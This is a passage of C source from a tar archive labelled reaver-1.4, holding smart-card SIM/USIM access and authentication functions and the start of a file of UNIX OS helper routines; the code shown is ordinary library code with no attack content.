USIM_TLV_PIN_STATUS_TEMPLATE && pos[1] >= 2 && pos[2] == USIM_PS_DO_TAG && pos[3] >= 1 && ps_do) { wpa_printf(MSG_DEBUG, "SCARD: PS_DO=0x%02x", pos[4]); *ps_do = (int) pos[4]; } pos += 2 + pos[1]; if (pos == end) return 0; } return -1; } static int scard_pin_needed(struct scard_data *scard, unsigned char *hdr, size_t hlen) { if (scard->sim_type == SCARD_GSM_SIM) { if (hlen > SCARD_CHV1_OFFSET && !(hdr[SCARD_CHV1_OFFSET] & SCARD_CHV1_FLAG)) return 1; return 0; } if (scard->sim_type == SCARD_USIM) { int ps_do; if (scard_parse_fsp_templ(hdr, hlen, &ps_do, NULL)) return -1; /* TODO: there could be more than one PS_DO entry because of * multiple PINs in key reference.. */ if (ps_do > 0 && (ps_do & 0x80)) return 1; return 0; } return -1; } static int scard_get_aid(struct scard_data *scard, unsigned char *aid, size_t maxlen) { int rlen, rec; struct efdir { unsigned char appl_template_tag; /* 0x61 */ unsigned char appl_template_len; unsigned char appl_id_tag; /* 0x4f */ unsigned char aid_len; unsigned char rid[5]; unsigned char appl_code[2]; /* 0x1002 for 3G USIM */ } *efdir; unsigned char buf[100]; size_t blen; efdir = (struct efdir *) buf; blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_EF_DIR, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read EF_DIR"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR select", buf, blen); for (rec = 1; rec < 10; rec++) { rlen = scard_get_record_len(scard, rec, SIM_RECORD_MODE_ABSOLUTE); if (rlen < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to get EF_DIR " "record length"); return -1; } blen = sizeof(buf); if (rlen > (int) blen) { wpa_printf(MSG_DEBUG, "SCARD: Too long EF_DIR record"); return -1; } if (scard_read_record(scard, buf, rlen, rec, SIM_RECORD_MODE_ABSOLUTE) < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read " "EF_DIR record %d", rec); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: EF_DIR record", buf, rlen); if (efdir->appl_template_tag != 0x61) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "template tag 0x%x", efdir->appl_template_tag); continue; } if (efdir->appl_template_len > rlen - 2) { wpa_printf(MSG_DEBUG, "SCARD: Too long application " "template (len=%d rlen=%d)", efdir->appl_template_len, rlen); continue; } if (efdir->appl_id_tag != 0x4f) { wpa_printf(MSG_DEBUG, "SCARD: Unexpected application " "identifier tag 0x%x", efdir->appl_id_tag); continue; } if (efdir->aid_len < 1 || efdir->aid_len > 16) { wpa_printf(MSG_DEBUG, "SCARD: Invalid AID length %d", efdir->aid_len); continue; } wpa_hexdump(MSG_DEBUG, "SCARD: AID from EF_DIR record", efdir->rid, efdir->aid_len); if (efdir->appl_code[0] == 0x10 && efdir->appl_code[1] == 0x02) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app found from " "EF_DIR record %d", rec); break; } } if (rec >= 10) { wpa_printf(MSG_DEBUG, "SCARD: 3G USIM app not found " "from EF_DIR records"); return -1; } if (efdir->aid_len > maxlen) { wpa_printf(MSG_DEBUG, "SCARD: Too long AID"); return -1; } os_memcpy(aid, efdir->rid, efdir->aid_len); return efdir->aid_len; } /** * scard_init - Initialize SIM/USIM connection using PC/SC * @sim_type: Allowed SIM types (SIM, USIM, or both) * Returns: Pointer to private data structure, or %NULL on failure * * This function is used to initialize SIM/USIM connection. PC/SC is used to * open connection to the SIM/USIM card and the card is verified to support the * selected sim_type. In addition, local flag is set if a PIN is needed to * access some of the card functions. Once the connection is not needed * anymore, scard_deinit() can be used to close it. */ struct scard_data * scard_init(scard_sim_type sim_type) { long ret; unsigned long len; struct scard_data *scard; #ifdef CONFIG_NATIVE_WINDOWS TCHAR *readers = NULL; #else /* CONFIG_NATIVE_WINDOWS */ char *readers = NULL; #endif /* CONFIG_NATIVE_WINDOWS */ unsigned char buf[100]; size_t blen; int transaction = 0; int pin_needed; wpa_printf(MSG_DEBUG, "SCARD: initializing smart card interface"); if (mingw_load_symbols()) return NULL; scard = os_zalloc(sizeof(*scard)); if (scard == NULL) return NULL; ret = SCardEstablishContext(SCARD_SCOPE_SYSTEM, NULL, NULL, &scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not establish smart card " "context (err=%ld)", ret); goto failed; } ret = SCardListReaders(scard->ctx, NULL, NULL, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed " "(err=%ld)", ret); goto failed; } #ifdef UNICODE len *= 2; #endif /* UNICODE */ readers = os_malloc(len); if (readers == NULL) { wpa_printf(MSG_INFO, "SCARD: malloc failed\n"); goto failed; } ret = SCardListReaders(scard->ctx, NULL, readers, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: SCardListReaders failed(2) " "(err=%ld)", ret); goto failed; } if (len < 3) { wpa_printf(MSG_WARNING, "SCARD: No smart card readers " "available."); goto failed; } /* readers is a list of available reader. Last entry is terminated with * double NUL. * TODO: add support for selecting the reader; now just use the first * one.. */ #ifdef UNICODE wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%S'", readers); #else /* UNICODE */ wpa_printf(MSG_DEBUG, "SCARD: Selected reader='%s'", readers); #endif /* UNICODE */ ret = SCardConnect(scard->ctx, readers, SCARD_SHARE_SHARED, SCARD_PROTOCOL_T0, &scard->card, &scard->protocol); if (ret != SCARD_S_SUCCESS) { if (ret == (long) SCARD_E_NO_SMARTCARD) wpa_printf(MSG_INFO, "No smart card inserted."); else wpa_printf(MSG_WARNING, "SCardConnect err=%lx", ret); goto failed; } os_free(readers); readers = NULL; wpa_printf(MSG_DEBUG, "SCARD: card=0x%x active_protocol=%lu (%s)", (unsigned int) scard->card, scard->protocol, scard->protocol == SCARD_PROTOCOL_T0 ? "T0" : "T1"); ret = SCardBeginTransaction(scard->card); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not begin transaction: " "0x%x", (unsigned int) ret); goto failed; } transaction = 1; blen = sizeof(buf); scard->sim_type = SCARD_GSM_SIM; if (sim_type == SCARD_USIM_ONLY || sim_type == SCARD_TRY_BOTH) { wpa_printf(MSG_DEBUG, "SCARD: verifying USIM support"); if (_scard_select_file(scard, SCARD_FILE_MF, buf, &blen, SCARD_USIM, NULL, 0)) { wpa_printf(MSG_DEBUG, "SCARD: USIM is not supported"); if (sim_type == SCARD_USIM_ONLY) goto failed; wpa_printf(MSG_DEBUG, "SCARD: Trying to use GSM SIM"); scard->sim_type = SCARD_GSM_SIM; } else { wpa_printf(MSG_DEBUG, "SCARD: USIM is supported"); scard->sim_type = SCARD_USIM; } } if (scard->sim_type == SCARD_GSM_SIM) { blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_MF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read MF"); goto failed; } blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_DF, buf, &blen)) { wpa_printf(MSG_DEBUG, "SCARD: Failed to read GSM DF"); goto failed; } } else { unsigned char aid[32]; int aid_len; aid_len = scard_get_aid(scard, aid, sizeof(aid)); if (aid_len < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to find AID for " "3G USIM app - try to use standard 3G RID"); os_memcpy(aid, "\xa0\x00\x00\x00\x87", 5); aid_len = 5; } wpa_hexdump(MSG_DEBUG, "SCARD: 3G USIM AID", aid, aid_len); /* Select based on AID = 3G RID from EF_DIR. This is usually * starting with A0 00 00 00 87. */ blen = sizeof(buf); if (_scard_select_file(scard, 0, buf, &blen, scard->sim_type, aid, aid_len)) { wpa_printf(MSG_INFO, "SCARD: Failed to read 3G USIM " "app"); wpa_hexdump(MSG_INFO, "SCARD: 3G USIM AID", aid, aid_len); goto failed; } } /* Verify whether CHV1 (PIN1) is needed to access the card. */ pin_needed = scard_pin_needed(scard, buf, blen); if (pin_needed < 0) { wpa_printf(MSG_DEBUG, "SCARD: Failed to determine whether PIN " "is needed"); goto failed; } if (pin_needed) { scard->pin1_required = 1; wpa_printf(MSG_DEBUG, "PIN1 needed for SIM access"); } ret = SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Could not end transaction: " "0x%x", (unsigned int) ret); } return scard; failed: if (transaction) SCardEndTransaction(scard->card, SCARD_LEAVE_CARD); os_free(readers); scard_deinit(scard); return NULL; } /** * scard_set_pin - Set PIN (CHV1/PIN1) code for accessing SIM/USIM commands * @scard: Pointer to private data from scard_init() * @pin: PIN code as an ASCII string (e.g., "1234") * Returns: 0 on success, -1 on failure */ int scard_set_pin(struct scard_data *scard, const char *pin) { if (scard == NULL) return -1; /* Verify whether CHV1 (PIN1) is needed to access the card. */ if (scard->pin1_required) { if (pin == NULL) { wpa_printf(MSG_DEBUG, "No PIN configured for SIM " "access"); return -1; } if (scard_verify_pin(scard, pin)) { wpa_printf(MSG_INFO, "PIN verification failed for " "SIM access"); return -1; } } return 0; } /** * scard_deinit - Deinitialize SIM/USIM connection * @scard: Pointer to private data from scard_init() * * This function closes the SIM/USIM connect opened with scard_init(). */ void scard_deinit(struct scard_data *scard) { long ret; if (scard == NULL) return; wpa_printf(MSG_DEBUG, "SCARD: deinitializing smart card interface"); if (scard->card) { ret = SCardDisconnect(scard->card, SCARD_UNPOWER_CARD); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: Failed to disconnect " "smart card (err=%ld)", ret); } } if (scard->ctx) { ret = SCardReleaseContext(scard->ctx); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "Failed to release smart card " "context (err=%ld)", ret); } } os_free(scard); mingw_unload_symbols(); } static long scard_transmit(struct scard_data *scard, unsigned char *_send, size_t send_len, unsigned char *_recv, size_t *recv_len) { long ret; unsigned long rlen; wpa_hexdump_key(MSG_DEBUG, "SCARD: scard_transmit: send", _send, send_len); rlen = *recv_len; ret = SCardTransmit(scard->card, scard->protocol == SCARD_PROTOCOL_T1 ? SCARD_PCI_T1 : SCARD_PCI_T0, _send, (unsigned long) send_len, NULL, _recv, &rlen); *recv_len = rlen; if (ret == SCARD_S_SUCCESS) { wpa_hexdump(MSG_DEBUG, "SCARD: scard_transmit: recv", _recv, rlen); } else { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); } return ret; } static int _scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len, sim_types sim_type, unsigned char *aid, size_t aidlen) { long ret; unsigned char resp[3]; unsigned char cmd[50] = { SIM_CMD_SELECT }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; size_t len, rlen; if (sim_type == SCARD_USIM) { cmd[0] = USIM_CLA; cmd[3] = 0x04; get_resp[0] = USIM_CLA; } wpa_printf(MSG_DEBUG, "SCARD: select file %04x", file_id); if (aid) { wpa_hexdump(MSG_DEBUG, "SCARD: select file by AID", aid, aidlen); if (5 + aidlen > sizeof(cmd)) return -1; cmd[2] = 0x04; /* Select by AID */ cmd[4] = aidlen; /* len */ os_memcpy(cmd + 5, aid, aidlen); cmdlen = 5 + aidlen; } else { cmd[5] = file_id >> 8; cmd[6] = file_id & 0xff; cmdlen = 7; } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_WARNING, "SCARD: SCardTransmit failed " "(err=0x%lx)", ret); return -1; } if (len != 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected resp len " "%d (expected 2)", (int) len); return -1; } if (resp[0] == 0x98 && resp[1] == 0x04) { /* Security status not satisfied (PIN_WLAN) */ wpa_printf(MSG_WARNING, "SCARD: Security status not satisfied " "(PIN_WLAN)"); return -1; } if (resp[0] == 0x6e) { wpa_printf(MSG_DEBUG, "SCARD: used CLA not supported"); return -1; } if (resp[0] != 0x6c && resp[0] != 0x9f && resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response 0x%02x " "(expected 0x61, 0x6c, or 0x9f)", resp[0]); return -1; } /* Normal ending of command; resp[1] bytes available */ get_resp[4] = resp[1]; wpa_printf(MSG_DEBUG, "SCARD: trying to get response (%d bytes)", resp[1]); rlen = *buf_len; ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &rlen); if (ret == SCARD_S_SUCCESS) { *buf_len = resp[1] < rlen ? resp[1] : rlen; return 0; } wpa_printf(MSG_WARNING, "SCARD: SCardTransmit err=0x%lx\n", ret); return -1; } static int scard_select_file(struct scard_data *scard, unsigned short file_id, unsigned char *buf, size_t *buf_len) { return _scard_select_file(scard, file_id, buf, buf_len, scard->sim_type, NULL, 0); } static int scard_get_record_len(struct scard_data *scard, unsigned char recnum, unsigned char mode) { unsigned char buf[255]; unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = sizeof(buf); blen = sizeof(buf); ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { wpa_printf(MSG_DEBUG, "SCARD: failed to determine file " "length for record %d", recnum); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: file length determination response", buf, blen); if (blen < 2 || buf[0] != 0x6c) { wpa_printf(MSG_DEBUG, "SCARD: unexpected response to file " "length determination"); return -1; } return buf[1]; } static int scard_read_record(struct scard_data *scard, unsigned char *data, size_t len, unsigned char recnum, unsigned char mode) { unsigned char cmd[5] = { SIM_CMD_READ_RECORD /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; cmd[2] = recnum; cmd[3] = mode; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: record read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_read_file(struct scard_data *scard, unsigned char *data, size_t len) { unsigned char cmd[5] = { SIM_CMD_READ_BIN /* , len */ }; size_t blen = len + 3; unsigned char *buf; long ret; cmd[4] = len; buf = os_malloc(blen); if (buf == NULL) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; ret = scard_transmit(scard, cmd, sizeof(cmd), buf, &blen); if (ret != SCARD_S_SUCCESS) { os_free(buf); return -2; } if (blen != len + 2) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "length %ld (expected %ld)", (long) blen, (long) len + 2); os_free(buf); return -3; } if (buf[len] != 0x90 || buf[len + 1] != 0x00) { wpa_printf(MSG_DEBUG, "SCARD: file read returned unexpected " "status %02x %02x (expected 90 00)", buf[len], buf[len + 1]); os_free(buf); return -4; } os_memcpy(data, buf, len); os_free(buf); return 0; } static int scard_verify_pin(struct scard_data *scard, const char *pin) { long ret; unsigned char resp[3]; unsigned char cmd[5 + 8] = { SIM_CMD_VERIFY_CHV1 }; size_t len; wpa_printf(MSG_DEBUG, "SCARD: verifying PIN"); if (pin == NULL || os_strlen(pin) > 8) return -1; if (scard->sim_type == SCARD_USIM) cmd[0] = USIM_CLA; os_memcpy(cmd + 5, pin, os_strlen(pin)); os_memset(cmd + 5 + os_strlen(pin), 0xff, 8 - os_strlen(pin)); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if (len != 2 || resp[0] != 0x90 || resp[1] != 0x00) { wpa_printf(MSG_WARNING, "SCARD: PIN verification failed"); return -1; } wpa_printf(MSG_DEBUG, "SCARD: PIN verified successfully"); return 0; } /** * scard_get_imsi - Read IMSI from SIM/USIM card * @scard: Pointer to private data from scard_init() * @imsi: Buffer for IMSI * @len: Length of imsi buffer; set to IMSI length on success * Returns: 0 on success, -1 if IMSI file cannot be selected, -2 if IMSI file * selection returns invalid result code, -3 if parsing FSP template file fails * (USIM only), -4 if IMSI does not fit in the provided imsi buffer (len is set * to needed length), -5 if reading IMSI file fails. * * This function can be used to read IMSI from the SIM/USIM card. If the IMSI * file is PIN protected, scard_set_pin() must have been used to set the * correct PIN code before calling scard_get_imsi(). */ int scard_get_imsi(struct scard_data *scard, char *imsi, size_t *len) { unsigned char buf[100]; size_t blen, imsilen, i; char *pos; wpa_printf(MSG_DEBUG, "SCARD: reading IMSI from (GSM) EF-IMSI"); blen = sizeof(buf); if (scard_select_file(scard, SCARD_FILE_GSM_EF_IMSI, buf, &blen)) return -1; if (blen < 4) { wpa_printf(MSG_WARNING, "SCARD: too short (GSM) EF-IMSI " "header (len=%ld)", (long) blen); return -2; } if (scard->sim_type == SCARD_GSM_SIM) { blen = (buf[2] << 8) | buf[3]; } else { int file_size; if (scard_parse_fsp_templ(buf, blen, NULL, &file_size)) return -3; blen = file_size; } if (blen < 2 || blen > sizeof(buf)) { wpa_printf(MSG_DEBUG, "SCARD: invalid IMSI file length=%ld", (long) blen); return -3; } imsilen = (blen - 2) * 2 + 1; wpa_printf(MSG_DEBUG, "SCARD: IMSI file length=%ld imsilen=%ld", (long) blen, (long) imsilen); if (blen < 2 || imsilen > *len) { *len = imsilen; return -4; } if (scard_read_file(scard, buf, blen)) return -5; pos = imsi; *pos++ = '0' + (buf[1] >> 4 & 0x0f); for (i = 2; i < blen; i++) { unsigned char digit; digit = buf[i] & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; digit = buf[i] >> 4 & 0x0f; if (digit < 10) *pos++ = '0' + digit; else imsilen--; } *len = imsilen; return 0; } /** * scard_gsm_auth - Run GSM authentication command on SIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @sres: 4-byte buffer for SRES * @kc: 8-byte buffer for Kc * Returns: 0 on success, -1 if SIM/USIM connection has not been initialized, * -2 if authentication command execution fails, -3 if unknown response code * for authentication command is received, -4 if reading of response fails, * -5 if if response data is of unexpected length * * This function performs GSM authentication using SIM/USIM card and the * provided RAND value from HLR/AuC. If authentication command can be completed * successfully, SRES and Kc values will be written into sres and kc buffers. */ int scard_gsm_auth(struct scard_data *scard, const unsigned char *_rand, unsigned char *sres, unsigned char *kc) { unsigned char cmd[5 + 1 + 16] = { SIM_CMD_RUN_GSM_ALG }; int cmdlen; unsigned char get_resp[5] = { SIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[12 + 3 + 2]; size_t len; long ret; if (scard == NULL) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - RAND", _rand, 16); if (scard->sim_type == SCARD_GSM_SIM) { cmdlen = 5 + 16; os_memcpy(cmd + 5, _rand, 16); } else { cmdlen = 5 + 1 + 16; cmd[0] = USIM_CLA; cmd[3] = 0x80; cmd[4] = 17; cmd[5] = 16; os_memcpy(cmd + 6, _rand, 16); } len = sizeof(resp); ret = scard_transmit(scard, cmd, cmdlen, resp, &len); if (ret != SCARD_S_SUCCESS) return -2; if ((scard->sim_type == SCARD_GSM_SIM && (len != 2 || resp[0] != 0x9f || resp[1] != 0x0c)) || (scard->sim_type == SCARD_USIM && (len != 2 || resp[0] != 0x61 || resp[1] != 0x0e))) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for GSM " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -3; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS) return -4; if (scard->sim_type == SCARD_GSM_SIM) { if (len != 4 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for GSM auth (len=%ld, expected 14)", (long) len); return -5; } os_memcpy(sres, buf, 4); os_memcpy(kc, buf + 4, 8); } else { if (len != 1 + 4 + 1 + 8 + 2) { wpa_printf(MSG_WARNING, "SCARD: unexpected data " "length for USIM auth (len=%ld, " "expected 16)", (long) len); return -5; } if (buf[0] != 4 || buf[5] != 8) { wpa_printf(MSG_WARNING, "SCARD: unexpected SREC/Kc " "length (%d %d, expected 4 8)", buf[0], buf[5]); } os_memcpy(sres, buf + 1, 4); os_memcpy(kc, buf + 6, 8); } wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - SRES", sres, 4); wpa_hexdump(MSG_DEBUG, "SCARD: GSM auth - Kc", kc, 8); return 0; } /** * scard_umts_auth - Run UMTS authentication command on USIM card * @scard: Pointer to private data from scard_init() * @_rand: 16-byte RAND value from HLR/AuC * @autn: 16-byte AUTN value from HLR/AuC * @res: 16-byte buffer for RES * @res_len: Variable that will be set to RES length * @ik: 16-byte buffer for IK * @ck: 16-byte buffer for CK * @auts: 14-byte buffer for AUTS * Returns: 0 on success, -1 on failure, or -2 if USIM reports synchronization * failure * * This function performs AKA authentication using USIM card and the provided * RAND and AUTN values from HLR/AuC. If authentication command can be * completed successfully, RES, IK, and CK values will be written into provided * buffers and res_len is set to length of received RES value. If USIM reports * synchronization failure, the received AUTS value will be written into auts * buffer. In this case, RES, IK, and CK are not valid. */ int scard_umts_auth(struct scard_data *scard, const unsigned char *_rand, const unsigned char *autn, unsigned char *res, size_t *res_len, unsigned char *ik, unsigned char *ck, unsigned char *auts) { unsigned char cmd[5 + 1 + AKA_RAND_LEN + 1 + AKA_AUTN_LEN] = { USIM_CMD_RUN_UMTS_ALG }; unsigned char get_resp[5] = { USIM_CMD_GET_RESPONSE }; unsigned char resp[3], buf[64], *pos, *end; size_t len; long ret; if (scard == NULL) return -1; if (scard->sim_type == SCARD_GSM_SIM) { wpa_printf(MSG_ERROR, "SCARD: Non-USIM card - cannot do UMTS " "auth"); return -1; } wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - RAND", _rand, AKA_RAND_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: UMTS auth - AUTN", autn, AKA_AUTN_LEN); cmd[5] = AKA_RAND_LEN; os_memcpy(cmd + 6, _rand, AKA_RAND_LEN); cmd[6 + AKA_RAND_LEN] = AKA_AUTN_LEN; os_memcpy(cmd + 6 + AKA_RAND_LEN + 1, autn, AKA_AUTN_LEN); len = sizeof(resp); ret = scard_transmit(scard, cmd, sizeof(cmd), resp, &len); if (ret != SCARD_S_SUCCESS) return -1; if (len <= sizeof(resp)) wpa_hexdump(MSG_DEBUG, "SCARD: UMTS alg response", resp, len); if (len == 2 && resp[0] == 0x98 && resp[1] == 0x62) { wpa_printf(MSG_WARNING, "SCARD: UMTS auth failed - " "MAC != XMAC"); return -1; } else if (len != 2 || resp[0] != 0x61) { wpa_printf(MSG_WARNING, "SCARD: unexpected response for UMTS " "auth request (len=%ld resp=%02x %02x)", (long) len, resp[0], resp[1]); return -1; } get_resp[4] = resp[1]; len = sizeof(buf); ret = scard_transmit(scard, get_resp, sizeof(get_resp), buf, &len); if (ret != SCARD_S_SUCCESS || len > sizeof(buf)) return -1; wpa_hexdump(MSG_DEBUG, "SCARD: UMTS get response result", buf, len); if (len >= 2 + AKA_AUTS_LEN && buf[0] == 0xdc && buf[1] == AKA_AUTS_LEN) { wpa_printf(MSG_DEBUG, "SCARD: UMTS Synchronization-Failure"); os_memcpy(auts, buf + 2, AKA_AUTS_LEN); wpa_hexdump(MSG_DEBUG, "SCARD: AUTS", auts, AKA_AUTS_LEN); return -2; } else if (len >= 6 + IK_LEN + CK_LEN && buf[0] == 0xdb) { pos = buf + 1; end = buf + len; /* RES */ if (pos[0] > RES_MAX_LEN || pos + pos[0] > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid RES"); return -1; } *res_len = *pos++; os_memcpy(res, pos, *res_len); pos += *res_len; wpa_hexdump(MSG_DEBUG, "SCARD: RES", res, *res_len); /* CK */ if (pos[0] != CK_LEN || pos + CK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid CK"); return -1; } pos++; os_memcpy(ck, pos, CK_LEN); pos += CK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: CK", ck, CK_LEN); /* IK */ if (pos[0] != IK_LEN || pos + IK_LEN > end) { wpa_printf(MSG_DEBUG, "SCARD: Invalid IK"); return -1; } pos++; os_memcpy(ik, pos, IK_LEN); pos += IK_LEN; wpa_hexdump(MSG_DEBUG, "SCARD: IK", ik, IK_LEN); return 0; } wpa_printf(MSG_DEBUG, "SCARD: Unrecognized response"); return -1; } reaver-1.4/src/utils/os_unix.c0000755000175000017500000001646711705505257016003 0ustar reaverreaver/* * OS specific functions for UNIX/POSIX systems * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #ifdef WPA_TRACE #include "common.h" #include "list.h" #include "wpa_debug.h" #include "trace.h" static struct dl_list alloc_list; #define ALLOC_MAGIC 0xa84ef1b2 #define FREED_MAGIC 0x67fd487a struct os_alloc_trace { unsigned int magic; struct dl_list list; size_t len; WPA_TRACE_INFO }; #endif /* WPA_TRACE */ void os_sleep(os_time_t sec, os_time_t usec) { if (sec) sleep(sec); if (usec) usleep(usec); } int os_get_time(struct os_time *t) { int res; struct timeval tv; res = gettimeofday(&tv, NULL); t->sec = tv.tv_sec; t->usec = tv.tv_usec; return res; } int os_mktime(int year, int month, int day, int hour, int min, int sec, os_time_t *t) { struct tm tm, *tm1; time_t t_local, t1, t2; os_time_t tz_offset; if (year < 1970 || month < 1 || month > 12 || day < 1 || day > 31 || hour < 0 || hour > 23 || min < 0 || min > 59 || sec < 0 || sec > 60) return -1; memset(&tm, 0, sizeof(tm)); tm.tm_year = year - 1900; tm.tm_mon = month - 1; tm.tm_mday = day; tm.tm_hour = hour; tm.tm_min = min; tm.tm_sec = sec; t_local = mktime(&tm); /* figure out offset to UTC */ tm1 = localtime(&t_local); if (tm1) { t1 = mktime(tm1); tm1 = gmtime(&t_local); if (tm1) { t2 = mktime(tm1); tz_offset = t2 - t1; } else tz_offset = 0; } else tz_offset = 0; *t = (os_time_t) t_local - tz_offset; return 0; } #ifdef __APPLE__ #include static int os_daemon(int nochdir, int noclose) { int devnull; if (chdir("/") < 0) return -1; devnull = open("/dev/null", O_RDWR); if (devnull < 0) return -1; if (dup2(devnull, STDIN_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDOUT_FILENO) < 0) { close(devnull); return -1; } if (dup2(devnull, STDERR_FILENO) < 0) { close(devnull); return -1; } return 0; } #else /* __APPLE__ */ #define os_daemon daemon #endif /* __APPLE__ */ int os_daemonize(const char *pid_file) { #ifdef __uClinux__ return -1; #else /* __uClinux__ */ if (os_daemon(0, 0)) { perror("daemon"); return -1; } if (pid_file) { FILE *f = fopen(pid_file, "w"); if (f) { fprintf(f, "%u\n", getpid()); fclose(f); } } return -0; #endif /* __uClinux__ */ } void os_daemonize_terminate(const char *pid_file) { if (pid_file) unlink(pid_file); } int os_get_random(unsigned char *buf, size_t len) { FILE *f; size_t rc; f = fopen("/dev/urandom", "rb"); if (f == NULL) { printf("Could not open /dev/urandom.\n"); return -1; } rc = fread(buf, 1, len, f); fclose(f); return rc != len ? -1 : 0; } unsigned long os_random(void) { return random(); } char * os_rel2abs_path(const char *rel_path) { char *buf = NULL, *cwd, *ret; size_t len = 128, cwd_len, rel_len, ret_len; int last_errno; if (rel_path[0] == '/') return os_strdup(rel_path); for (;;) { buf = os_malloc(len); if (buf == NULL) return NULL; cwd = getcwd(buf, len); if (cwd == NULL) { last_errno = errno; os_free(buf); if (last_errno != ERANGE) return NULL; len *= 2; if (len > 2000) return NULL; } else { buf[len - 1] = '\0'; break; } } cwd_len = os_strlen(cwd); rel_len = os_strlen(rel_path); ret_len = cwd_len + 1 + rel_len + 1; ret = os_malloc(ret_len); if (ret) { os_memcpy(ret, cwd, cwd_len); ret[cwd_len] = '/'; os_memcpy(ret + cwd_len + 1, rel_path, rel_len); ret[ret_len - 1] = '\0'; } os_free(buf); return ret; } int os_program_init(void) { #ifdef WPA_TRACE dl_list_init(&alloc_list); #endif /* WPA_TRACE */ return 0; } void os_program_deinit(void) { #ifdef WPA_TRACE struct os_alloc_trace *a; unsigned long total = 0; dl_list_for_each(a, &alloc_list, struct os_alloc_trace, list) { total += a->len; if (a->magic != ALLOC_MAGIC) { wpa_printf(MSG_INFO, "MEMLEAK[%p]: invalid magic 0x%x " "len %lu", a, a->magic, (unsigned long) a->len); continue; } wpa_printf(MSG_INFO, "MEMLEAK[%p]: len %lu", a, (unsigned long) a->len); wpa_trace_dump("memleak", a); } if (total) wpa_printf(MSG_INFO, "MEMLEAK: total %lu bytes", (unsigned long) total); #endif /* WPA_TRACE */ } int os_setenv(const char *name, const char *value, int overwrite) { return setenv(name, value, overwrite); } int os_unsetenv(const char *name) { #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__APPLE__) || \ defined(__OpenBSD__) unsetenv(name); return 0; #else return unsetenv(name); #endif } char * os_readfile(const char *name, size_t *len) { FILE *f; char *buf; f = fopen(name, "rb"); if (f == NULL) return NULL; fseek(f, 0, SEEK_END); *len = ftell(f); fseek(f, 